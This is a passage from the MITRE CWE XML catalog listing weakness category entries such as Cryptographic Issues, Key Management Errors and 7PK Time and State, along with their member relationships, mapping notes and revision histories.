             <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
             <xhtml:p>Comments: consider mapping to weaknesses that are members of this Category.</xhtml:p>
	   </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Detection_Factors, Functional_Areas, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Terminology_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Terminology_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="3" Name="DEPRECATED: Technology-specific Environment Issues" Status="Deprecated">
         <Summary>This category has been deprecated. It was originally intended as a "catch-all" for environment issues for technologies that did not have their own CWE, but it introduced unnecessary depth and complexity to the Development View (CWE-699).</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Technology-specific Environment Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="310" Name="Cryptographic Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.</Summary>
         <Relationships>
            <Has_Member CWE_ID="261" View_ID="699"/>
            <Has_Member CWE_ID="324" View_ID="699"/>
            <Has_Member CWE_ID="325" View_ID="699"/>
            <Has_Member CWE_ID="328" View_ID="699"/>
            <Has_Member CWE_ID="331" View_ID="699"/>
            <Has_Member CWE_ID="334" View_ID="699"/>
            <Has_Member CWE_ID="335" View_ID="699"/>
            <Has_Member CWE_ID="338" View_ID="699"/>
            <Has_Member CWE_ID="347" View_ID="699"/>
            <Has_Member CWE_ID="916" View_ID="699"/>
            <Has_Member CWE_ID="1204" View_ID="699"/>
            <Has_Member CWE_ID="1240" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Cryptographic Issues</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 8, &#34;Cryptographic Foibles&#34; Page 259"/>
	   <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).</xhtml:p>
               <xhtml:p>Comments: some weakness-oriented alternatives might be found as descendants under Use of a Broken or Risky Cryptographic Algorithm (CWE-327)</xhtml:p>
	    </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Functional_Areas, References, Related_Attack_Patterns, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="320" Name="Key Management Errors" Status="Obsolete">
         <Summary>Weaknesses in this category are related to errors in the management of cryptographic keys.</Summary>
         <Relationships>
            <Has_Member CWE_ID="322" View_ID="699"/>
            <Has_Member CWE_ID="323" View_ID="699"/>
            <Has_Member CWE_ID="324" View_ID="699"/>
            <Has_Member CWE_ID="798" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Key Management Errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">This entry heavily overlaps other categories and has been marked obsolete.</Note>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: consider mapping to weaknesses that are members of this Category.</xhtml:p>
	    </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="355" Name="User Interface Security Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to or introduced in the User Interface (UI).</Summary>
         <Relationships>
            <Has_Member CWE_ID="356" View_ID="699"/>
            <Has_Member CWE_ID="357" View_ID="699"/>
            <Has_Member CWE_ID="447" View_ID="699"/>
            <Has_Member CWE_ID="448" View_ID="699"/>
            <Has_Member CWE_ID="449" View_ID="699"/>
            <Has_Member CWE_ID="549" View_ID="699"/>
            <Has_Member CWE_ID="1007" View_ID="699"/>
            <Has_Member CWE_ID="1021" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>(UI) User Interface Errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Research Gap">User interface errors that are relevant to security have not been studied at a high level.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="361" Name="7PK - Time and State" Status="Incomplete">
         <Summary>This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. According to the authors of the Seven Pernicious Kingdoms, "Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer's model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information."</Summary>
         <Relationships>
            <Has_Member CWE_ID="364" View_ID="700"/>
            <Has_Member CWE_ID="367" View_ID="700"/>
            <Has_Member CWE_ID="377" View_ID="700"/>
            <Has_Member CWE_ID="382" View_ID="700"/>
            <Has_Member CWE_ID="383" View_ID="700"/>
            <Has_Member CWE_ID="384" View_ID="700"/>
            <Has_Member CWE_ID="412" View_ID="700"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, References, Related_Attack_Patterns, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Time and State</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="371" Name="State Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to improper management of system state.</Summary>
         <Relationships>
            <Has_Member CWE_ID="15" View_ID="699"/>
            <Has_Member CWE_ID="372" View_ID="699"/>
            <Has_Member CWE_ID="374" View_ID="699"/>
            <Has_Member CWE_ID="375" View_ID="699"/>
            <Has_Member CWE_ID="1265" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="376" Name="DEPRECATED: Temporary File Issues" Status="Deprecated">
         <Summary>This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. Consider using the File Handling Issues category (CWE-1219).</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Temporary File Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="380" Name="DEPRECATED: Technology-Specific Time and State Issues" Status="Deprecated">
         <Summary>This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Technology-Specific Time and State Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="381" Name="DEPRECATED: J2EE Time and State Issues" Status="Deprecated">
         <Summary>This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">J2EE Time and State Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="387" Name="Signal Errors" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the improper handling of signals.</Summary>
         <Relationships>
            <Has_Member CWE_ID="364" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Signal Errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Maintenance">Several weaknesses could exist, but this needs more study. Some weaknesses might be unhandled signals, untrusted signals, and sending the wrong signals.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
